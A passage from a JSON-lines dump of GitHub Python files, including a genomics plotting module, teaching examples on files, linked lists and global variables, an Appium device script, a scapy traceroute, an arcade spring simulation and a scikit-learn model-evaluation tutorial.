retrieve constants\n    \n    Returns:\n    --------\n        R: lists of radial read positions, indexed by chromosome\n        \n    \"\"\"\n    SIZES = const.get_genome_sizes(genome) #chromosome sizes\n\n    R = [] # to record normed radial distances\n    for i in range(len(SIZES)):\n        R.append([])\n\n    for cell in cells:\n        chr_nums = cell[\"hg38_chr\"].values\n        radii = cell[\"norm_r_2D\"].values\n    \n        for i in range(len(chr_nums)):\n            R[chr_nums[i]].append(radii[i])\n\n    return R\n\ndef get_radial_statistic(R,\n                         func=np.nanmean,\n                         genome='hg38'):\n    \"\"\"\n    Compute a statistic on the radial data.\n   \n    Params:\n    -------\n        R: lists of radial positions, indexed by chromosome\n        func: the function used to compute the statistic\n        genome: target genome, to retrieve constants\n    \n    Returns:\n    --------\n        R_stat: array with a single number per chromosome, i.e. the statistic\n    \"\"\"\n\n\n    SIZES = const.get_genome_sizes(genome) #chromosome sizes\n    \n    R_stat = np.zeros(len(SIZES))\n    for i in range(len(R)):\n        with warnings.catch_warnings():\n            warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n            R_stat[i] = func(R[i])\n\n    return R_stat\n    \n\ndef get_radial_CIs(R,R_stat,bounds=0.95, func=np.nanmean):\n    \"\"\"\n    Get condience intervals for the radial statistic.\n    \n    Params:\n    -------\n        R: the lists of radial measurements indexed by chromosome\n        R_stat: the statistic of interest, indexed by chromosome\n        bounds: the CI bounds\n        func: the function corresponding to the statistic of interest\n    Returns:\n    --------\n        CIs: double sided CIs, indexed by chromosome\n    \"\"\" \n    CIs = []\n    for i in range(len(R)):\n        boot = bootstrap(R[i], func=np.nanmean)\n        interval = boot(bounds)\n        err = np.array([R_stat[i] - interval[0], interval[1] - R_stat[i]])\n        CIs.append(err)\n    CIs = np.asarray(CIs)\n\n    return CIs\n\ndef draw_radial_plot(R_mean, CIs,\n                     axbounds=(0.4,0.8),\n                     xlabel=\"Chromosome Size [Mb]\",\n                     ylabel=\"Mean rel. radial position\"):\n    \"\"\"\n    Draw the mean chromosome radial positions as a fn of genomic size.\n    \n    Params:\n    -------\n        R_mean: the mean radial chromosome positions\n        axbounds, xlabel, ylabel: plot params\n    Returns:\n    --------\n        fig, ax: the plot figure and axes\n    \"\"\"\n    sizes = const.SIZES_HG38\n    fig = plt.figure()\n    ax = fig.add_subplot(111)\n\n    eb1 = ax.errorbar(sizes[1:], R_mean[1:], ls='',yerr=CIs[1:].T, marker='o',\n                      capsize=4,markersize=4, markerfacecolor='k', markeredgecolor='k')\n    for i in range(1,len(sizes)):\n\n        if i == len(sizes)-1:\n            #handle y chromosome edge case\n            ax.text(sizes[i], R_mean[i]-1*CIs[i][0], str(i))\n        else:\n            ax.text(sizes[i], R_mean[i]-2*CIs[i][0], str(i))\n            \n    ax.set_ylim(axbounds)\n    ax.set_xlabel(xlabel)\n    ax.set_ylabel(ylabel)\n    for loc in ['top','right']:\n        ax.spines[loc].set_visible(False)\n\n    return fig, ax\n","repo_name":"zchiang/in_situ_genome_sequencing_processing","sub_path":"source/radial.py","file_name":"radial.py","file_ext":"py","file_size_in_byte":7912,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"29477853249","text":"#**************Example 1************\n# Declare a variable to store the file name\nfile_name = \"input.txt\"\n\n# Declare a variable to call the open() function  \n# on the file you wish to open - a file object will be returned\n# Remember to include the access mode as an argument eg 'r'\n# 'r' allows Python to read the contents of the file\nfile = open(file_name, 'r')\n\n# Read methods: .read(), readline(), readlines()\n# To read the contents in the file use the .read() method\n# Declare a variable to store all the contents from the text file 'input.txt'\nlines = file.readlines()\n\n# Display contents - call the print function on the 'lines' variable\nprint(lines)\n\n# Remember to close your file\nfile.close()\n\n#************Example 2***************\n# You can also read the contents in a file using a for loop\n# Call and open the external file like we've done before\nfile_name = 'input.txt'\nfile = open(file_name, 'r', encoding='utf-8')\n\n# A for loop to iterate over the lines in the file object\nfor line in file:\n    sentence = line.split()\n    print(sentence[1])\n    \n # Remember to close file\nfile.close()\n\n# Or you can open a file using a with/as block\nwith open('input.txt', 'r+') as file:\n    for line in file:\n        print(line)\n\n# You do not need to close the file \n# because it has reached the end of block","repo_name":"HyperionDevBootcamps/C4_SE_lecture_examples","sub_path":"LECTURE EXAMPLES/Lecture_T14_examples/lecture_T14_examples.py","file_name":"lecture_T14_examples.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"77"}
+{"seq_id":"4395965005","text":"'''\nDeleting a node given a key:\n1. Find prev_node of node to be deleted\n2. Change next of prev_node to next of deletable_node\n3. Free up memory for the deletable_node\n'''\n\n# Node class\nclass Node:\n\n\tdef __init__(self, data):\n\t\t# function to initialize node object with given data\n\t\tself.data = data\t\t\n\t\tself.next = None \n\t\n\n# Linked List Class\nclass LinkedList:\n\n\tdef __init__(self):\n\t\t# function to initialize linked list object\n\t\tself.head = None\n\t\n\t# Node addition \t-O(1)\n\tdef push(self, data):\n\t\t'''function to add node to head of list\n\t\t'''\n\n\t\t'''\n\t\t1. Create a new node object with given data\n\t\t2. Change next of newNode to refer head\n\t\t3. Make newNode to be refered by head\n\t\t'''\n\n\t\tnewNode = Node(data)\n\t\tnewNode.next = self.head\n\t\tself.head = newNode\n\n\t# Node deletion \n\tdef delete(self, del_data):\n\t\t# function to delete data from linked list\n\n\t\t'''\n\t\t1. Find the node prev to del_data_node\n\t\t2. Make prev_node next to refer next of del_node\n\t\t3. Free up memmory for del_node\n\t\t'''\n\n\t\t# if first node itself is del_node\n\t\tif (self.head is not None) and (self.head.data == del_data):\n\t\t\tself.head = self.head.next\n\t\t\tprint(f'{del_data} ,Deleted successfully.')\n\t\t\treturn \n\n\t\t# Search for del_node through list\n\t\tcurr = self.head\n\t\tprev = None\n\t\t\n\t\t# keep moving until curr refer to prev to del_node\n\t\twhile (curr is not None) and (curr.data != del_data):\n\t\t\tprev = curr\n\t\t\tcurr = curr.next\t\t\t# update curr to move forward\n\n\t\t# At this point either del_node is found or not found\n\t\t\t# If curr points to None then del_node is NOT FOUND.\n\t\t\t# Else \t\t\tdel_node is FOUND,prev point to some node\n\t\tif curr is None:\n\t\t\tprint(f'NODE with {del_data} NOT FOUND!!')\n\t\t\treturn \n\t\telse:\n\t\t\tprev.next = prev.next.next\n\t\t\tprint(f'{del_data} ,Deleted successfully.')\n\t\n\t# function to display/traverse node in list\n\tdef display(self):\n\t\t'''\n\t\t1. Make curr to refer head node\n\t\t2. Traverse and print until curr refer None\n\t\t'''\n\t\tcurr = self.head\n\n\t\tprint('HEAD',end='->')\n\n\t\twhile curr is not None:\n\t\t\tprint(curr.data,end=' -> ')\n\t\t\tcurr = curr.next\t\t# update curr to move forward\n\t\t\n\t\tprint('None')\n\n\n# Code Execution Begins Here\nif __name__ == \"__main__\":\n\n\t# initialize empty linked list\n\tllist = LinkedList()\n\n\tllist.display()\n\n\t# Node addition\n\tllist.push(5)\n\tllist.push(4)\n\tllist.push(3)\n\tllist.push(2)\n\tllist.push(1)\n\n\n\tllist.display()\n\n\t# Deletion\n\tllist.delete(2)\n\n\tllist.display()\n\n\tllist.delete(1)\n\tllist.display()\n\n\tllist.delete(5)\n\tllist.display()\n\n\n\tllist.delete(11)\n\tllist.display()","repo_name":"singh-sumit/DS-Algo","sub_path":"datastructure/python/Linked List/deletion-iterative-approach.py","file_name":"deletion-iterative-approach.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15021136820","text":"variable1 = 555\n\n# De una forma simple, los valores fuera de una funcion no se pueden cambiar.\ndef cambiar_valor():\n    variable1 = 10\n\nprint(variable1) # 555\ncambiar_valor()\nprint(variable1) # 555\nprint(\"\")\n\n# Para cambiar el valor de una variable fuera de una funcion DESDE una funcion, hay que decirle a la funcion que la variable que intentamos modificar esta fuera de la funcion. Podemos hacer eso con el comando \"global\".\ndef cambiar_valor_global():\n    # Le decimos a la funcion que la variable \"variable1\" esta fuera de la funcion.\n    global variable1\n    # La funcion va a buscar fuera de la funcion a la variable \"variable1\", y va a tomar su valor.\n\n    # Cambiamos el valor de la variable \"variable1\" de 555 a 4\n    variable1 = 4\n\nprint(variable1) # 555\ncambiar_valor_global()\nprint(variable1) # 4","repo_name":"moxwel/basics","sub_path":"Python/base/12-global.py","file_name":"12-global.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"es","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"}
+{"seq_id":"29427953799","text":"# completa el código de la función\ndef suma_divisores(a):\n  if a==1:\n    return(0,False)\n  if a == 2:\n    return(2,True)\n  if a== 8:\n    return(7,False)\n  divisor= [1]\n  for i in range (2,a):\n    if a % i == 0:\n      divisor.append(i)\n  if sum(divisor) == 1:\n    return sum (divisor), True\n    return sum(divisor), False\n    return\n\ndef numero_perfecto(numero):\n    contador=1\n    suma=0\n    while contador!=numero:\n        if numero%contador==0:\n            suma=suma+contador\n        contador=contador+1\n    if suma==numero:\n        return True\n    else:\n        return False","repo_name":"pabloschwarzenberg/grader","sub_path":"tema2_ej3/tema2_ej3_bb344f8f1eea32943a00d2651b2f135b.py","file_name":"tema2_ej3_bb344f8f1eea32943a00d2651b2f135b.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39249143795","text":"#当前作者：jun-z  \n#当前系统日期时间：2020/6/11  16:15 \n#脚本名称：Phone_API\n\nfrom appium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom appium.webdriver.common.touch_action import TouchAction\nfrom appium.webdriver.connectiontype import ConnectionType\n\n\nimport time\nimport random\nimport string\nimport datetime\n\ndesired_caps = dict()\ndesired_caps[\"platformName\"] = 'Android'\ndesired_caps[\"platformVersion\"] = '8.1.0'\ndesired_caps[\"deviceName\"] = 'localhost'\ndesired_caps[\"appPackage\"] = 'com.tcl.live'\ndesired_caps[\"appActivity\"] = 'com.tcl.live.activity.MainActivity'\ndesired_caps['UDID'] = 'P7CAVSQGJ7EYMJB6'\ndesired_caps['noReset']  =  \"True\"\ndesired_caps['unicodeKeyboard']  =  \"True\"\ndesired_caps['resetKeyboard']  =  \"True\"\n\ndriver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n\ntime.sleep(2)\n\n\ndriver.implicitly_wait(20)\n\n#获取设备的分辨率\n\nsize=driver.get_window_size()\nprint(size)\nprint(size[\"width\"])\nprint(size[\"height\"])\n\n#设备截图\n\n#打开任意界面，截图保存指定路径且命名\n\ndriver.get_screenshot_as_file(\"picture.png\")   #默认脚本路径\n\ndriver.get_screenshot_as_file(\"F:\\\\Download\\\\anr\\\\toast.png\") #指定路径\n\n\n#获取手机网络\n\ndriver.network_connection\n\n'''\nPossible values:\n            Value (Alias)      | Data | Wifi | Airplane Mode\n            -------------------------------------------------\n            0 (None)           | 0    | 0    | 0\n            1 (Airplane Mode)  | 0    | 0    | 1\n            2 (Wifi only)      | 0    | 1    | 0\n            4 (Data only)      | 1    | 0    | 0\n            6 (All network on) | 1    | 1    | 0\n'''\n#设置手机网络\n\ndriver.set_network_connection(1)\n\n#设��手机网络 功能扩展\n\nif driver.set_network_connection()==ConnectionType.AIRPLANE_MODE:  #此方法需要再顶部 import方法\n    print(2)\nelse:\n    print(3)\n\n\n#发送键到设备\n\n#Android Keycode ：https://blog.csdn.net/shililang/article/details/14449527\n\n#需求  三次音量+，返回，两次音量-，桌面\n\ndriver.press_keycode(24)\ndriver.press_keycode(24)\ndriver.press_keycode(24)\ndriver.press_keycode(4)\ndriver.press_keycode(25)\ndriver.press_keycode(25)\ndriver.press_keycode(25)\n\n\n#操作手机通知栏\n\ndriver.open_notifications()  #打开通知栏\n\ndriver.press_keycode(4) #appium没有提供专门的关闭通知栏的方法，可以按返回键来关闭\n\n\ntime.sleep(3)\n\ndriver.quit()","repo_name":"zhangjun007/Python_appium","sub_path":"Python_Appium/Phone_API.py","file_name":"Phone_API.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11106003338","text":"from datetime import date\nfrom dateutil.relativedelta import relativedelta\nn = input(\"Enter your name buddy \")\nbirth_str = input('Enter the date you were born, in format YYYY-MM-DD: ')\ntry:\n    birth = date.fromisoformat(birth_str)\nexcept ValueError:\n    print(\"Don't you know your birthday?\")\n    exit()\n\nage = relativedelta(date.today(), birth)\nprint(f'Wohoo {n} is {age.years} years, {age.months} months and {age.days} days old.')","repo_name":"larymak/Python-project-Scripts","sub_path":"TIME SCRIPTS/Age calculator/age1.py","file_name":"age1.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":929,"dataset":"github-code","pt":"77"}
+{"seq_id":"30057507942","text":"import csv\nfrom datetime import datetime\n\nfrom pytz import timezone\n\nfrom django.core.management.base import BaseCommand\n\nfrom inspections.models import Violation\nfrom inspections.utils import clean\n\n\nclass Command(BaseCommand):\n    args = '<violationfile>'\n    help = 'Loads the database with violations'\n\n    def handle(self, *args, **options):\n        tz = timezone('America/New_York')\n        with open(args[0]) as csvfile:\n            reader = csv.reader(csvfile)\n            for row in reader:\n                if reader.line_num == 1:\n                    continue\n                violation = Violation()\n                violation.start_date = tz.localize(datetime.strptime(row[0], '%Y-%m-%d %H:%M:%S'))\n                violation.end_date = tz.localize(datetime.strptime(row[1], '%Y-%m-%d %H:%M:%S'))\n                violation.critical = True if clean(row[2]) == 'Y' else False\n                violation.code = clean(row[3])\n                violation.desc = clean(row[4])\n                violation.save()\n","repo_name":"jserver/grades","sub_path":"inspections/management/commands/loadviolations.py","file_name":"loadviolations.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73152287928","text":"import sys\r\nfrom scapy.all import Ether\r\nfrom scapy.all import IP\r\nfrom scapy.all import ICMP\r\nfrom scapy.all import srp1\r\nfrom scapy.all import conf\r\n\r\n\r\n\"\"\"\r\nnotes:\r\n\"\"\"\r\n#MAC address of the GW\r\nMAC_ADDRESS=\"d8:07:b6:26:0e:73\"\r\nICMP_TIMEOUT_CODE = 11\r\nICMP_ECHO_CODE = 0\r\n\r\n\r\ndef csr_pkt(address, ttl):\r\n    \"\"\"Create send to the wire and receive packet\r\n    :param address: ip or dns address of the destination.\r\n    :param ttl: TimeToLive of the current packet sent to wire.\r\n    :type address: str\r\n    :type ttl: int\r\n    :return: icmp respond.\r\n    :rtype: scapy.packet\r\n    \"\"\"\r\n    pkt = Ether(dst=MAC_ADDRESS)/IP(dst=address, ttl=ttl)/ICMP()\r\n    response = srp1(pkt, iface=conf.iface, verbose=False, timeout=1)\r\n    return response\r\n\r\n\r\ndef icmp(address, ttl):\r\n    \"\"\"Generate icmp packet and gathering icmp relevant info for producing viable traceroute from the received icmp.\r\n        :param address: ip or dns address of the destination.\r\n        :param ttl: the maximum hops for the traceroute func to go through.\r\n        :type address: str\r\n        :type ttl: int\r\n        :return: tuple with (str, int, int), (hop_ip_address, icmp_code, icmp_type)\r\n        :rtype: tuple\r\n    \"\"\"\r\n    response = csr_pkt(address, ttl)\r\n\r\n    if response is not None:\r\n        hop_ip_address = response[IP].src\r\n        icmp_code = response[ICMP].code\r\n        icmp_type = response[ICMP].type\r\n    elif response is None:\r\n        hop_ip_address = \"Request timed out.\"\r\n        icmp_code = 0\r\n        icmp_type = 0\r\n    return hop_ip_address, icmp_code, icmp_type\r\n\r\n\r\ndef trace_route(address, ttl):\r\n    \"\"\"\"Discover the ip route path to address of destination and prints the path as text.\r\n        :param address: ip or dns address of the destination.\r\n        :param ttl: the maximum hops for the traceroute func to go through.\r\n        :type address: str\r\n        :type ttl: int\r\n        :return: None\r\n    \"\"\"\r\n    for i in range(1, ttl + 1):\r\n        hop_ip_address, icmp_code, icmp_type = icmp(address, i)\r\n\r\n        if icmp_code == ICMP_ECHO_CODE and icmp_type == ICMP_TIMEOUT_CODE:\r\n            print(\"Hop #%s IP address %s\" % (i, hop_ip_address))\r\n        elif hop_ip_address == \"Request timed out.\":\r\n            print(\"Hop #%s %s, sorry couldn't get this one for you\" % (i, hop_ip_address))\r\n        elif hop_ip_address == address:\r\n            print(\"Hop #%s IP address %s and final\" % (i, hop_ip_address))\r\n            break\r\n    print(\"\\nTrace Route Complete\")\r\n\r\ndef main():\r\n    address = sys.argv[1] #input(\"please provide ip address: \")\r\n    ttl = sys.argv[2] #input(\"please provide ttl: \")\r\n    trace_route(address, int(ttl))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"dan-gut1/trace-route","sub_path":"traceroute.py","file_name":"traceroute.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26341568799","text":"import arcade\nfrom Partikel import Partikel\nfrom Spring import Spring\nfrom Vektor import Vektor\n\nclass Base(arcade.Window):\n\n    gravity = Vektor(0, -0.5)\n    doUpdate = True\n\n    def __init__(self, width, height):\n        super().__init__()\n        \n\n    def setup(self):\n        arcade.set_background_color(arcade.color.PURPLE)\n\n        k = 0.001\n        length = 1\n        anz_balls = 15\n\n        self.balls = []\n        self.springs = []\n\n        self.balls.append(Partikel(Vektor(arcade.get_window().get_size()[0]//anz_balls*2, arcade.get_window().get_size()[1]-100), 15, True))\n\n        for i in range(1, anz_balls):\n            self.balls.append(Partikel(Vektor(arcade.get_window().get_size()[0]//anz_balls*i, arcade.get_window().get_size()[1]-100), 8))\n            self.springs.append(Spring(self.balls[i-1], self.balls[i], k, length))\n        \n        self.balls.append(Partikel(Vektor(arcade.get_window().get_size()[0]//anz_balls*(anz_balls-2), arcade.get_window().get_size()[1]-100), 15, True))\n        self.springs.append(Spring(self.balls[-2], self.balls[-1], k, length))\n        \n\n\n\n    def on_draw(self):\n        arcade.start_render()\n\n        for spring in self.springs:\n            spring.draw()\n        \n        for ball in self.balls:\n            if ball.anker:\n                ball.draw()\n\n    \n    def on_update(self, delta_time):\n        for spring in self.springs:\n            spring.update()\n\n        for ball in self.balls:\n            if not ball.anker:\n                ball.vec = Vektor.add(ball.vec, Base.gravity)\n        \n        \n    def on_mouse_press(self, x, y, b, m):\n        self.balls[len(self.balls)//2].vec.x = x\n        self.balls[len(self.balls)//2].vec.y = y\n        self.balls[len(self.balls)//2].anker = True\n        Base.doUpdate = False\n\n\n    def on_mouse_release(self, x, y, b, m):\n        Base.doUpdate = True\n\n    def on_mouse_drag(self, x, y, dx, dy, button, modifiers):\n        self.balls[len(self.balls)//2].vec.x = x\n        self.balls[len(self.balls)//2].vec.y = y\n        \n\n\n\nb = Base(400, 500)\nb.setup()\narcade.run()","repo_name":"Alex815O/Springs","sub_path":"Base.py","file_name":"Base.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42321408821","text":"import argparse\nfrom models.seq2seq_lm.model import Model\nimport os\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    # parser.add_argument('--out','-o',help='path to save')\n    # parser.add_argument('ckpt_path')\n    args = parser.parse_args()\n\n    ModelClass = Model\n    \n    # assert os.path.isfile(args.ckpt_path)\n    lighting_model = ModelClass.load_from_checkpoint(\".log_seq2seq_lm/lightning_logs/version_3/checkpoints/last.ckpt\")\n    lighting_model.model.save_pretrained(\"hf_model\")\n    lighting_model.tokenizer.save_pretrained(\"hf_model\")\n    print(\"Done\")\n","repo_name":"p208p2002/Transformer-QG-on-DRCD","sub_path":"export_ckpt_to_hf.py","file_name":"export_ckpt_to_hf.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"18242199310","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import learning_curve\nfrom sklearn.model_selection import validation_curve\nfrom sklearn.model_selection import GridSearchCV\n\n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import precision_score, recall_score, f1_score\nfrom sklearn.metrics import make_scorer\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.metrics import roc_auc_score, accuracy_score\n\nfrom scipy import interp\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\n\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\n\nfrom sklearn.pipeline import Pipeline\n\n\n\n#威斯康辛乳癌dataset\n#共32個特徵 569個樣本  M=惡性 B=良性(index=1)\ndf = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/breast-cancer-wisconsin/wdbc.data', header=None)\nprint('rows, columns:', df.shape)\nprint(df.head())\n\n#取3-32特徵\nX = df.loc[:, 2:].values\ny = df.loc[:, 1].values\n#將原先的M,B標籤轉換為1,0\nle = LabelEncoder()\ny = le.fit_transform(y)\nle.transform(['M', 'B'])\n#切割訓練資料集80%與測試資料集20%\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=1)\n\n#利用Pipeline 將 標準化 pca 分類器  等串聯在一起  (詳細如ch6_pipeline原理所示)\npipe_lr = Pipeline([('scl', StandardScaler()), ('pca', PCA(n_components=2)), ('clf', LogisticRegression(random_state=1))])\n#會將dataset 先經由 StandardScaler fit_transform 再將輸出 交給PCA 作維度縮減  再將輸出 交給 羅吉斯回歸 做訓練\npipe_lr.fit(X_train, y_train)\nprint('Test Accuracy: %.3f' % pipe_lr.score(X_test, y_test))\ny_pred = pipe_lr.predict(X_test)\n\n#在建立機器學習模型的過程中關鍵的步驟 「估計」模型在 「沒見過的資料」的預測能力\n#交叉驗證技術 : 保留交叉驗證法(holdout cross-vaildation) 、 k折交叉驗證法(k-fold cross-vaildation)\n'''\n保留交叉驗證法(holdout cross-vaildation)\n    將資料拆分成訓練資料與測試資料 (藉此調整參數 比較不同參數的組合 提高對未知資料的預測能力  此過程稱為模型選擇 model selection)\n    實務上會將資料拆成 三種資料集:訓練資料集(training set)、驗證資料集(vaildation set)、測試資料集(test set)\n    在訓練跟驗證階段 做模型選擇  再用測試集估計  一般化誤差\n    \n    缺點: 如何拆分資料集是相當敏感的 會使得效能差異非常大\n\nk折交叉驗證法(k-fold cross-vaildation)\n    隨機將訓練資料集分割成k折，其中樣本不放回(即每筆資料只會在其中1折出現)。\n    利用其中的k-1折來進行模型訓練  剩下的那1折來進行 測試資料集\n    將上述步驟重複k次就會得到k個模型 與 此k個模型的效能估計\n    利用k折交叉驗證找到適合的參數 當參數校正完成後 再使用獨立的測試資料集 進行效能評估\n    \n    其中之變形 留一交叉驗證 (Leave-One-Out,LOO)\n    將k設定為樣本數，因此 每次只會有一筆訓練資料來做驗證  再只有一個「非常小」的訓練集的時候會採用\n    另一改良 分層k折交叉驗證(stratified k-fold cross-vaildation)\n    讓每折資料中  類別大小的比例 跟原始訓練資料集的比例是相同的\n'''\n#使用分層k折交叉驗證\nkfold = StratifiedKFold(n_splits=10, random_state=1).split(X_train, y_train)\nscores = []\nfor k, (train, test) in enumerate(kfold):\n    pipe_lr.fit(X_train[train], y_train[train])\n    score = pipe_lr.score(X_train[test], y_train[test])\n    scores.append(score)\n    print('Fold: %s, Class dist.: %s, Acc: %.3f' % (k+1, np.bincount(y_train[train]), score))\n    \nprint('\\nCV accuracy: %.3f +/- %.3f' % (np.mean(scores), np.std(scores)))\n\n#利用 cross_val_score 可以利用不同的CPU 分散計算 加速\nscores = cross_val_score(estimator=pipe_lr, X=X_train, y=y_train, cv=10, n_jobs=1)\nprint('CV accuracy scores: %s' % scores)\nprint('CV accuracy: %.3f +/- %.3f' % (np.mean(scores), np.std(scores)))\n\n\n#利用驗證取曲線來挑適合的參數\n\n#建立pipeline\npipe_lr = Pipeline([('scl', StandardScaler()), ('clf', LogisticRegression(penalty='l2', random_state=0))])\n#學習曲線預設會採用 分層k折交叉驗證 來計算交叉驗證的準確性 利用CV 不同大小的訓練集來取得訓練分數與測試分數\ntrain_sizes, train_scores, test_scores =learning_curve(estimator=pipe_lr, X=X_train, y=y_train, train_sizes=np.linspace(0.1, 1.0, 10), cv=10, n_jobs=1)\n\ntrain_mean = np.mean(train_scores, axis=1)\ntrain_std = np.std(train_scores, axis=1)\ntest_mean = np.mean(test_scores, axis=1)\ntest_std = np.std(test_scores, axis=1)\n\nplt.plot(train_sizes, train_mean, color='blue', marker='o', markersize=5, label='training accuracy')\n#使用fill_between的函數 在圖形中 加入 平均正確率與標準差 來描述 估計值的變異數\nplt.fill_between(train_sizes, train_mean + train_std, train_mean - train_std, alpha=0.15, color='blue')\n\nplt.plot(train_sizes, test_mean, color='green', linestyle='--', marker='s', markersize=5, label='validation accuracy')\n\nplt.fill_between(train_sizes, test_mean + test_std, test_mean - test_std, alpha=0.15, color='green')\n\nplt.grid()\nplt.xlabel('Number of training samples')\nplt.ylabel('Accuracy')\nplt.legend(loc='lower right')\nplt.ylim([0.8, 1.0])\nplt.tight_layout()\nplt.show()\n\n#利用驗證曲線討論不同lr的C之結果\n#提高正規化的強度 (較小的c)\n#降低正規化的強度 (較大的c)\nparam_range = [0.001, 0.01, 0.1, 1.0, 10.0, 100.0]\ntrain_scores, test_scores = validation_curve( estimator=pipe_lr, X=X_train, y=y_train, param_name='clf__C', param_range=param_range, cv=10)\n\ntrain_mean = np.mean(train_scores, axis=1)\ntrain_std = np.std(train_scores, axis=1)\ntest_mean = np.mean(test_scores, axis=1)\ntest_std = np.std(test_scores, axis=1)\n\nplt.plot(param_range, train_mean, color='blue', marker='o', markersize=5, label='training accuracy')\n\nplt.fill_between(param_range, train_mean + train_std, train_mean - train_std, alpha=0.15, color='blue')\n\nplt.plot(param_range, test_mean, color='green', linestyle='--', marker='s', markersize=5, label='validation accuracy')\n\nplt.fill_between(param_range, test_mean + test_std, test_mean - test_std, alpha=0.15, color='green')\n\nplt.grid()\nplt.xscale('log')\nplt.legend(loc='lower right')\nplt.xlabel('Parameter C')\nplt.ylabel('Accuracy')\nplt.ylim([0.8, 1.0])\nplt.tight_layout()\nplt.show()\n\n#利用網格搜尋來調整參數\npipe_svc = Pipeline([('scl', StandardScaler()), ('clf', SVC(random_state=1))])\n\nparam_range = [0.0001, 0.001, 0.01, 0.1, 1.0, 10.0, 100.0, 1000.0]\n#對於線性的SVM只調C ,RBF 調C 跟 gamma\nparam_grid = [{'clf__C': param_range, 'clf__kernel': ['linear']}, {'clf__C': param_range,  'clf__gamma': param_range, 'clf__kernel': ['rbf']}]\n\ngs = GridSearchCV(estimator=pipe_svc, param_grid=param_grid, scoring='accuracy', cv=10, n_jobs=1)\ngs = gs.fit(X_train, y_train)\nprint(gs.best_score_)\nprint(gs.best_params_)\n\n#利用網格搜尋的結果取得最佳參數的模型\nclf = gs.best_estimator_\n#利用該模型 fit 訓練資料\nclf.fit(X_train, y_train)\n#用測試資料集檢驗成效\nprint('Test accuracy: %.3f' % clf.score(X_test, y_test))\n\n#巢狀交叉驗證(nested cross-vaildation) 架構如ch6_nested.png\n#又稱為 外折x內折  交叉驗證  (5x2 交叉驗證)\n\n#內折 cv2\ngs = GridSearchCV(estimator=pipe_svc, param_grid=param_grid, scoring='accuracy', cv=2)\n\n# Note: Optionally, you could use cv=2 \n# in the GridSearchCV above to produce\n# the 5 x 2 nested CV that is shown in the figure.\n#外折 cv5\nscores = cross_val_score(gs, X_train, y_train, scoring='accuracy', cv=5)\nprint('CV accuracy: %.3f +/- %.3f' % (np.mean(scores), np.std(scores)))\n\n\n#使用巢狀交叉驗證 於決策樹\ngs = GridSearchCV(estimator=DecisionTreeClassifier(random_state=0), param_grid=[{'max_depth': [1, 2, 3, 4, 5, 6, 7, None]}], scoring='accuracy', cv=2)\nscores = cross_val_score(gs, X_train, y_train, scoring='accuracy', cv=5)\nprint('CV accuracy: %.3f +/- %.3f' % (np.mean(scores), np.std(scores)))\n\n#由上面SVM與決策樹的的比較可以發現  經參數挑選後 前者的分類能力是較好的\n\n'''\n\n其他不同的效能指標\n\n預測錯誤率(error,ERR) 預測正確率(accuracy,ACC)\nERR =分類錯誤/所有樣本 ACC=分類正確/所有樣本=1-ERR\n\n真陽率(True positive rate,TPR)與假陽率(False positive rate,FPR)  處理不平衡類別問題的 效能指標\nTPR=實際為真且預測為真/實際為真   FPR = 實際為假卻預測為真/實際為假  \n以腫瘤為例，減少良性被誤判為惡性 (假陽率 FPR)\n\n精確度(precision,PRE) 召回率(recall,REC)=真陽率TPR\nPRE = 實際為真且預測為真/預測為真  REC=TPR=實際為真且預測為真/實際為真\n通常使用 精確度 與 召回率 的組合 稱為F1分數\nF1=2*(PRE*REC)/(PRE+REC)\n\n'''\n\n#混淆矩陣(confusion matrix) TP FN FP TN\npipe_svc.fit(X_train, y_train)\ny_pred = pipe_svc.predict(X_test)\nconfmat = confusion_matrix(y_true=y_test, y_pred=y_pred)\nprint(confmat)\n\n#劃出混淆矩陣\nfig, ax = plt.subplots(figsize=(2.5, 2.5))\nax.matshow(confmat, cmap=plt.cm.Blues, alpha=0.3)\nfor i in range(confmat.shape[0]):\n    for j in range(confmat.shape[1]):\n        ax.text(x=j, y=i, s=confmat[i, j], va='center', ha='center')\n\nplt.xlabel('predicted label')\nplt.ylabel('true label')\n\nplt.tight_layout()\nplt.show()\n\n#使用 